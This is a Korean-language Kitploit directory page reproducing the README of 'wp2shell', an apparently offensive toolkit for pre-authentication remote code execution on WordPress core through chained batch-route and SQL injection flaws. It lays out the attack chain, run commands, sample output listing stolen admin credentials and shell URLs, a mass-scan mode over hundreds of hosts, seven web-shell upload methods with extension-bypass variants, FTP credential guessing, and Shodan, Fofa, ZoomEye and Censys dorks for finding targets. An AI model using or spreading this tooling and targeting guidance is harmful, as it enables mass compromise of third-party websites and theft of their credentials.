Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-63030 — WordPress 코어 사전 인증 RCE — 배치 라우트 혼동 + SQL 인젝션 | Kitploit
도구/GitHubGitHub/anggatechi/cve-2026-63030
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationPenetration Testing
GitHubanggatechi/cve-2026-63030

CVE-2026-63030

WordPress 코어 사전 인증 RCE — 배치 라우트 혼동 + SQL 인젝션

저장소 보기
13일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell — 워드프레스 코어 사전 인증 RCE

CVE-2026-63030 (배치 라우트 혼동) + CVE-2026-60137 (SQL 인젝션)

WordPress 코어의 wp2shell 취약점 체인을 위한 제로 의존성(zero-dependency) 익스플로잇 툴킷입니다. 플러그인이 필요 없는 기본 WordPress 설치 환경에서 단 한 번의 익명 HTTP 요청만으로 원격 코드 실행(RCE)을 달성합니다.


📋 목차

  • 영향받는 버전
  • 공격 흐름
  • 빠른 시작
  • 데모
  • 기능
  • 업로드 방식
  • 출력 파일
  • Dork / 헌팅
  • 참고 자료
  • 면책 조항

🎯 영향받는 버전

범위영향수정 버전
7.0.0 – 7.0.1완전한 RCE7.0.2
6.9.0 – 6.9.4완전한 RCE

플러그인이나 특별한 구성이 필요하지 않습니다. 기본 설치 상태의 WordPress만으로도 공격이 가능합니다.


🔗 공격 흐름

root@kitploit:~
┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

🚀 빠른 시작

root@kitploit:~
pip install requests
python exploit.py
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

단일 대상

root@kitploit:~
python exploit.py
root@kitploit:~
  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

대량 스캔

root@kitploit:~
python exploit.py
root@kitploit:~
┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

✨ 기능

  • 의존성 제로 — Python 3.11+ 표준 라이브러리만 사용 (requests는 expander 전용)
  • 멀티스레드 — 기본 15개 스레드, 최대 30개
  • 자동 재개 — log/scanned.txt로 이미 스캔한 대상은 건너뜀
  • 사일런트 배치 모드 — 깔끔한 테이블 출력, 로그 스팸 없음
  • 자동 탐지 — WordPress + batch API + SQLi 사용 가능 여부 확인
  • 7가지 병렬 업로드 방식 — 선착순(First-win) 경쟁 조건

📤 업로드 방식

7가지 방식 모두 ThreadPoolExecutor를 통해 병렬로 실행됩니다. 가장 먼저 성공한 방식이 채택되고 나머지는 취소됩니다.

미디어 업로드 확장자: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

시도되는 FTP 자격 증명: localhost / 127.0.0.1 및 root / www-data / WordPress 관리자 자격 증명


📁 출력 파일

파일내용
result.txt관리자 자격 증명: url.com/wp-login.php:user:pass
result_upload.txt셸 URL: shell_url | login_url:user:pass | method
log/scanned.txt스캔된 모든 호스트 (재실행 시 자동 건너뜀)

🔍 Dork / 헌팅

Shodan

root@kitploit:~
http.title:"WordPress"
http.component:"WordPress"

Fofa

root@kitploit:~
app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

root@kitploit:~
app:"WordPress"
"/wp-json/batch/v1"

Censys

root@kitploit:~
services.http.response.body:"/wp-json/batch/v1"

📚 참고 자료

  • Searchlight Cyber 보안 권고
  • Hadrian 기술 블로그
  • WordPress 7.0.2 릴리스
  • Assetnote 리서치
  • Wordfence 위협 인텔리전스

⚠️ 면책 조항

이 도구는 승인된 보안 연구 및 침투 테스트 용도로만 제공됩니다. 소유한 시스템이나 테스트에 대한 명시적 서면 허가를 받은 시스템에서만 사용하세요. 작성자는 오용으로 인한 어떠한 책임도 지지 않습니다.


📄 라이선스

MIT 라이선스. 자세한 내용은 LICENSE를 참조하세요.

도구 다운로드
6.9.5
6.8.0 – 6.8.5SQLi만6.8.6
#방식설명
1direct-plugin/wp-admin/plugin-install.php를 통해 zip 업로드
2direct-theme/wp-admin/theme-install.php를 통해 zip 업로드
3rest-api인증 쿠키와 함께 /wp-json/wp/v2/plugins로 zip POST
4plugin-editor/wp-admin/plugin-editor.php를 통해 PHP 직접 작성
5theme-editor활성 테마 디렉터리에 PHP 작성
6ftp-bypassWordPress가 요청할 때 FTP 자격 증명 제출
7media-upload15가지 확장자 변형으로 미디어 라이브러리를 통해 PHP 업로드